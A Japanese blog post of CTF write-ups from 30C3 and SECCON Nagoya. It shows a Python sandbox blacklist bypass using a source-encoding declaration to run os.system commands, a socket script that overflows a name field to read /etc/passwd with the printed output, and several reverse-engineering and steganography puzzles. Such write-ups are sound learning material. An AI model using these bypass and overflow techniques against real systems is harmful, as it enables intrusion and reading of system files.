2013年12月30日月曜日

30C3 CTF Writeup

SANDBOX PyExec 300

アクセスするとこんな感じのページが出てくる

print 1+2と書いてexecを押すと 出力に3と出る。

Pythonのソースがダウンロードできるので呼んでみる
https://www.dropbox.com/sh/r8w31bik68dx3pn/ucnTKIQ2D7

black listで単語をはじくようになっていて、さらに入力できる文字も制限されていた。
使える文字は
改行 a-z 0-9 # \t , + * / : % > < = 半角スペース _ \ -

まずやってみたことは
http://www.slideshare.net/shiracamus/ctfpython
50ページにある #coding:rot13

入力に
#coding:rot13
cevag 1

出力は
1

と実行された


後は入力をはじかれないようにsystemコマンドでも実行するのかなっと試行錯誤
Base64やuuencodeなどなどを試してみるがだめ

ここでいいものがないか探すことに
http://docs.python.jp/2/library/codecs.html#standard-encodings


#coding:raw_unicode_escape
Python ソースコードにおける raw Unicode リテラルとして適切な文字列を生成します。

っとのことでunicodeでできるらしいので試してみた



print 2を実行したところ実行できた。
後は
import os
os.system('ls')

を実行させ


カレントディレクトリにflag.txtがあったので


import os
os.system('cat flag.txt')

flagを出力させることに成功しました。

flag:
30C3_2a2766d9cf4a137d517a8227bd71d59d


PWN DOGE1 100


とりあえず nc 88.198.89.218 1024でつなぐと

Dogename: っと名前を聞かれたので適当に入力


これはすごい!!っと関心

次にDogenameに長い文字を入力することに



お?来たかって思ったら。ascii_art_doge_color.txtっというこの犬が入っているテキストの名前が出てきた。

オーバーフローさせてこの名前を任意のディレクトリに変えればそこを読み込まないか?っといろいろと試す



#! c:/Python27/python.exe
# -*- coding: utf-8 -*-

import socket
import sys

host = '88.198.89.218'
port = 1024

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))

print sock.recv(1024)
sock.sendall("A"*32+"/etc/passwd\x00")
print sock.recv(1024)


/etc/passwdを読み込ますことに成功

出力結果

Dogename:
 [93mAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/etc/passwd [0mroot:x:0:0:root:/root:/bin/
ash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
doge:30C3_51dd250e0adb864f
f40cc40b818852f4:1001:1001:,,,:/home/doge:/bin/false

一番下にflagっぽいものが合った
flag:
30C3_51dd250e0adb864ff40cc40b818852f4




お疲れ様でした。


2013年12月16日月曜日

SECCON名古屋大会Writeup

TimeIDAとして参加してきました。

自分の解いた分だけWriteupを書いていきます。

バイナリ100 問題ファイル
main.exe: PE32 executable (console) Intel 80386, for MS Windows とりあえずIDAで開く



とりあえずこのexitに入らないようにすればいいのかな?とか思っていたけど下に



Guvf vfa'g gur nafjre. という文字列を発見 

Guvfこの辺とかよく見るrot13だったのでデコードしてみると This isn't the answer. 

これは答えではなかった。 ollydbgでexitにならないようにjmpさせながら進んでいくと



ans=maho0609という文字列があり 

さすがにこれじゃないだろっと思って入力したら正解でした。


 IDAで見たときにもpushでこの文字列入れていたのでその時に入力しておけばよかった、、



プログラミング100 ○天CTFって、こういうこと?



実行するとこんな感じで 時間内にすべてのチェックを外して「次のステージへ進む」を押せればステージクリアになりました ステージ1~6まであり 進むにつれ時間が短くなり、チェックボックスの数が増えていきました。




ステージ5までは手動で行けたが、6は無理でした。

チームの人がいろいろと試していて、Tabキーを押して進み、スペースを押すとチェックが外せる ということを発見したので 競技中にみんなでキーボードをかちゃかちゃやりだしました

 結局キー入力のできるマクロのフリーソフトを落としてきてやったらクリアできました







seccon横浜大会にもでた目grep問題にずっとはまっていたので、あまり解けなかったなーっというCTFでした

 みなさんお疲れ様でした。




追記

 デコードせよの問題を stegsolve.jarというツールを使って解いてみました。






下の < >ボタンを押すと Alpha plane Red plane Green plane Blue plane という感じでその色を取り出してくれる

 FileからSave As を押すと表示してあるものを保存することができる

Red


Green


Blue


あとはQRコードリーダーで読み取る

uu{

M<&AI<VAI;F<@;FD@;6%K96YA:61E"C5T=2!D86ME(&YO(&]N96=A:0II=

'5M

M;R!I='5D96UO('=A<W5R96YA:61E;F4*:VEM:2!W;R!M86UO<FET86EK87)A

M"D9,04=

[270G<R!M;W)E(&ME>2!M92!W87(@;6%M(&UO;&QY('1I92!C;VQO

$<BY]"@ 



}


uu encode だったので
デコードした

Webツール
http://www.webutils.pl/UUencode


Pythonでデコードする

print '''begin 666 <data>

M<&AI<VAI;F<@;FD@;6%K96YA:61E"C5T=2!D86ME(&YO(&]N96=A:0II='5M

M;R!I='5D96UO('=A<W5R96YA:61E;F4*:VEM:2!W;R!M86UO<FET86EK87)A

M"D9,04=[270G<R!M;W)E(&ME>2!M92!W87(@;6%M(&UO;&QY('1I92!C;VQO

$<BY]"@

end

'''.decode('uu')



デコード結果

phishing ni makenaide
5tu dake no onegai
itumo itudemo wasurenaidene
kimi wo mamoritaikara
FLAG{It's more key me war mam molly tie color.}

という感じです。

とても面白い問題でした。